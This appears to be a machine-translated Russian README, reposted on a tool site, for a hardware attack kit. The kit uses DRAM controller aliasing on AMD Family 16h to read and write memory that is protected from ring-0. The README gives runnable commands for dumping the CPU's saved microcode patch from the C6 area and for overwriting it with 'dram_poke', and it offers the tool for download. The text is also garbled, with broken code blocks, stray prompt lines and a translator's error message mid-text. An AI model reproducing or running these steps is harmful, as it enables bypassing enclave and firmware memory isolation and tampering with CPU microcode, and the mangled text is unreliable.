core 1  000049b8  00 08 e0 fe 00 00 00 00  |........|   <- 0xfee00800  application processor
core 2  000089b8  00 08 e0 fe 00 00 00 00  |........|   <- 0xfee00800  application processor
core 3  0000c9b8  00 08 e0 fe 00 00 00 00  |........|   <- 0xfee00800  application processor

Одно ядро с установленным битом BSP, три без — загрузочный процессор и его три AP, застигнутые в простое, когда их состояние регистров лежит как на ладони.

Чем больше копаешь, тем больше регистров CPU найдёшь:

Разумеется, все эти регистры и так доступны из ring-0. Самое весёлое — во всём остальном состоянии CPU, которое там лежит: ковыряние во внутренних регистрах, до которых ring-0 дотянуться не может.


Быстрый старт: разблокируйте микрокод CPU

Что может пойти не так?

Когда ядро уходит в C6, его оперативная память микропатчей — энергозависимая SRAM — гаснет вместе с остальным ядром. Поэтому хранилище C6 держит загруженный патч в DRAM и заново засевает его при пробуждении. Эта копия лежит по адресу +0x1800 в каждой области сохранения, и алиас обращается к ней как к любому другому байту.

Захватите копию микрокода, которую CPU припрятал в изолированной DRAM:```sh ./userspace/platform_check || exit 1 eval "$(sudo ./userspace/dram_carveouts --region cc6)"

page 1 of core 0's save area is the live microcode patch body

sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

root@kitploit:~
Сопоставьте его с известными патчами:```sh
# did we find it?
python3 - <<'EOF'
ram = open("ucode_ram.bin", "rb").read()
chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12]
for fam in (15, 16, 17, 19):
    uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read()
    print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match")
EOF

Это хороший знак:```text fam15h: 0/94 chunks match fam16h: 68/94 chunks match <- the microcode the core is running fam17h: 0/94 chunks match fam19h: 0/94 chunks match

root@kitploit:~
Извлеките триады ucode:```sh
od -Ax -tx1 -w20 ucode_ram.bin

I don't see any content to translate — the INPUT section is empty.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

root@kitploit:~
И вот оно: сверху отчётливые uops, ниже повторяющийся NOP padding.

Оттуда у `dram_dump` есть родственный инструмент, `dram_poke`. Тот же алиас,
который читал патч, может и записать его — и именно эту копию ядро перезагружает,
выходя из простоя.

Что делать дальше — зависит от вашего воображения.

---

## Сборка```
make        # builds kernel/spaghettify.ko and all userspace tools
make clean

Использование

Запускайте от root. Полные подробности в USAGE.md.

dram_read

Простое чтение из защищённого адреса памяти.

Включите переключения --do-swizzle / --do-bankswap в контроллере DRAM, чтобы войти в «спагеттифицированное» представление памяти, прочитайте одно dword по физическому адресу <pa>, восстановите биты DCT и верните значение.``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

root@kitploit:~
### `dram_poke`

Запись в защищённый диапазон памяти.

Каждый `--map` — это решённая спагеттификация из `unspaghettify.py --save-map`,
которая, в свою очередь, питается парами алиасов, собранными `gather_aliases.py`;
алиас для каждого dword в защищённом диапазоне восстанавливается из карты через
псевдообратную матрицу над GF(2), вычисляемую один раз при запуске. Передавайте
несколько карт — по одной на каждый `(at_swizzle, at_bankswap)`, собранный на
одном и том же оборудовании, — чтобы расширить покрытие, поскольку каждая
спагеттификация оставляет свой набор дыр с дефицитом ранга, и побеждает первая
карта, которая достигает данного dword.```
dram_poke
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--strict-holes]
    [--no-verify]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...
    < in.bin

dram_dump

Чтение из защищённого диапазона памяти.

Тот же механизм --map, что и в dram_poke: каждая карта — это решённая «спагеттификация» из unspaghettify.py --save-map, псевдоним для каждого dword восстанавливается через одношаговую GF(2) псевдоинверсию, а несколько карт, собранных при разных (at_swizzle, at_bankswap), расширяют покрытие там, где дыры rank-deficient одной карты заполняются другой.``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...

root@kitploit:~
Полный набор инструментов — `dram_state`, `dram_carveouts` и `dram_alias`; конвейер анализа `gather_aliases.py` / `unspaghettify.py`; проработанные сквозные примеры; и внутреннее устройство — описан в **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/HEAD/USAGE.md)**.

---

## Общий конвейер

`skitter-creek-bath-salts` исследует, как финальные стадии преобразований MCT/DCT могут обрушить безопасность всего, что построено поверх них. Продемонстрированный здесь эксплойт — это один конфигурационный регистр на AMD Family 16h, выбранный потому, что документация давала достаточно материала для начала. *Конвейер*, который он сломал, есть повсюду.

Чередование каналов, чередование рангов, чередование банков, свизл, нормализация chip-select — каждый современный контроллер памяти делает ту или иную версию всего этого. AMD. Intel. ARM. RISC-V. Мобильные. Серверные. Встраиваемые. Одна и та же архитектурная форма лежит под всем этим.

*Над* всем этим находятся SEV, SGX, TDX, TrustZone, CCA realms, pKVM, CoVE, SEP, PSP, ME, T-SEG, SMRAM, хранилище C6. Всё, что лежит в DRAM — даже то, что отгорожено и невидимо для ring-0 или самого CPU — покоится на финальных слоях конвейера `*p`, который мы только начали исследовать.

---

## Ссылки

* Black Hat 2026 — Spaghettifying DRAM (Скоро)

---

## Автор

`skitter-creek-bath-salts` — исследовательская работа Кристофера Домаса ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))

---

![Эксперимент](https://assets.kitploit.com/production/public/readmes/50084/e0d23a5801481c1c13057e8e0a1b4bdd3875a6c36140ea37f577cfa5801ec982.jpg)

---
Скачать инструмент
offsetx86 statecore-0 value
+0x8b0GS / per-cpu base0xffff9be4e3600000
+0x9a0CR3 (page-table root)0x0fd46000
+0x9b8IA32_APIC_BASE0xfee00900
+0xa38variable MTRR (base/mask)0x6f000000 / …0800
+0xb10saved RIP0xffffffff8f3a0029